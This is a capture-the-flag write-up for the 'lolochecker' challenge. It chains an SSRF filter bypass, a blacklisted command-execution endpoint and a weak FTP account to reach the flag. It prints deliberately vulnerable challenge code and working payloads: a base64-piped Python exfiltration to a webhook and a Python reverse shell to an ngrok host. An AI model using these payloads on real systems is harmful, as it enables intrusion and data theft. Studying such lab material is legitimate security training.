Writeup lolochecker - Hack'In 2025


Walkthrough
Once the container is deployed, browsing to the root URL shows that there is no index page:

Because we have the source code, the only interesting route we find is /api
, with a single endpoint /check-machine
:
const express = require("express");
const axios = require("axios");
const router = express.Router();
router.post("/check-machine", async (req, res) => {
const { hostname } = req.body;
if (!hostname || typeof hostname !== "string") {
return res.status(400).json({ error: "Paramètre 'hostname' invalide." });
}
const safeHostname = hostname.replace(/[^a-zA-Z0-9.\-:@?=|\/ ]/g, "");
if (safeHostname.length === 0) {
return res.status(400).json({ error: "Nom d'hôte invalide après filtrage." });
}
// Vérifier que hostname commence bien par
if (!safeHostname.startsWith("http://lololekik.com")) {
return res.status(400).json({ error: "Nom d'hôte invalide." });
}
try {
// L'utilisateur choisit son propre scheme
const response = await axios.get(safeHostname, { timeout: 5000 });
// print response content
// Vérification du statut HTTP
res.json({ exists: response.status >= 200 && response.status < 400, content: response.data });
} catch (error) {
res.json({ exists: false, error: error.message });
}
});
module.exports = router;
The endpoint enforces two conditions:
- The hostname must start with
http://lololekik.com
- All characters outside the whitelist are stripped
Providing a simple URL in the hostname parameter returns content:

The challenge notice hints that another internal service is present. We therefore keep the required prefix and append @127.0.0.1:80
:

Port scan with Burp Intruder
Sending the request to Intruder and fuzzing the 65535 ports reveals three interesting ones:
- Port 21
- Port 9876
- Port 59876
Port | Observation |
---|---|
21 | Parse Error: Expected HTTP/ → looks like FTP |
9876 | 404 for / but service exists |
59876 | Web server with a directory listing |
Port 59876 serves an Index of page:

We find three files:
- requirements.txt
- ftp.py
- web.py
ftp.py contents:
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
# RUN AS ROOT
def start_ftp_server():
authorizer = DummyAuthorizer()
# Création d'un utilisateur avec un accès complet à toute la machine
authorizer.add_user("admin", "password", "/", perm="elradfmw")
handler = FTPHandler
handler.authorizer = authorizer
# Lancer le serveur sur 0.0.0.0:21
server = FTPServer(("127.0.0.1", 21), handler)
print("Serveur FTP...")
server.serve_forever()
if __name__ == "__main__":
start_ftp_server()
This Python script sets up a local FTP server accessible as admin with full root permissions (elradfmw).
web.py contents:
from flask import Flask, request
import subprocess
app = Flask(__name__)
# RUN AS APPUSER
@app.route('/execute', methods=['GET'])
def execute_command():
cmd = request.args.get('cmd')
if not cmd:
return {"error": "Aucune commande fournie"}, 400
blacklist = ["rm", "shutdown", "reboot", "halt", "poweroff", "init", "kill", "pkill", "pgrep", ".", "top", "htop", "killall", "/", "&&", ";", ">", "<", "cat", "printf", "sed", "awk", "grep", "find", "ls", "cd", "pwd", "touch", "mkdir", "rmdir", "mv", "cp", "ln", "chmod", "chown", "chgrp", "useradd", "userdel", "groupadd", "groupdel", "passwd", "su", "sudo", "chsh", "chfn"]
for blacklisted_cmd in blacklist:
if blacklisted_cmd in cmd:
return {"error": "Commande interdite"}, 403
try:
result = subprocess.run(cmd, shell=True, capture_output=False, text=True)
return {
"command": cmd,
"return_code": result.returncode
}
except Exception as e:
return {"error": str(e)}, 500
if __name__ == '__main__':
app.run(host="0.0.0.0", port=9876, debug=True)
This Flask script exposes an API on port 9876, providing an /execute
endpoint allowing shell command execution with certain blacklisted commands.
Querying with an allowed command returns only the status code:

Because there is no output (only the return_code), we need an out-of-band channel. A typical trick is to send a base64-encoded payload and decode it on the target:
echo -n '<base64_payload>' | base64 -d | sh
Using Python in the payload lets us POST the command output to a Pipedream webhook. Below is the final Burp request that exfiltrates the output of id
(Hackvertor inserts the <@base64>
tags):
{
"hostname": "http://lololekik.com@127.0.0.1:9876/execute?cmd=echo -n '<@base64>python3 -c 'import subprocess,urllib.request;result=subprocess.check_output(["id"]);urllib.request.urlopen("https://eowwblcn55n3j3s.m.pipedream.net", data=result)'</@base64>' | base64 -d | sh"
}

Getting a reverse shell
Start ngrok
and nc
, then craft the following payload (which you’ll encode in base64 before sending) to open a socket back to your ngrok listener:
python3 -c 'import socket, subprocess, os; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("7.tcp.eu.ngrok.io", 18483)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import pty; pty.spawn("/bin/sh")'
The callback lands successfully, reverse shell obtained!

Looting the FTP server
Because the FTP service is running locally and we already know the credentials, a simple login with admin:password gives full read/write access to the system root:

At that point, retrieving the flag is trivial:
ftp> get flag.txt
appuser@f32fb868a34d:/tmp$ cat flag.txt
HNx04{...}
We got first blood on this chall ! 🩸
Thanks to lololekik for the challenge 🤝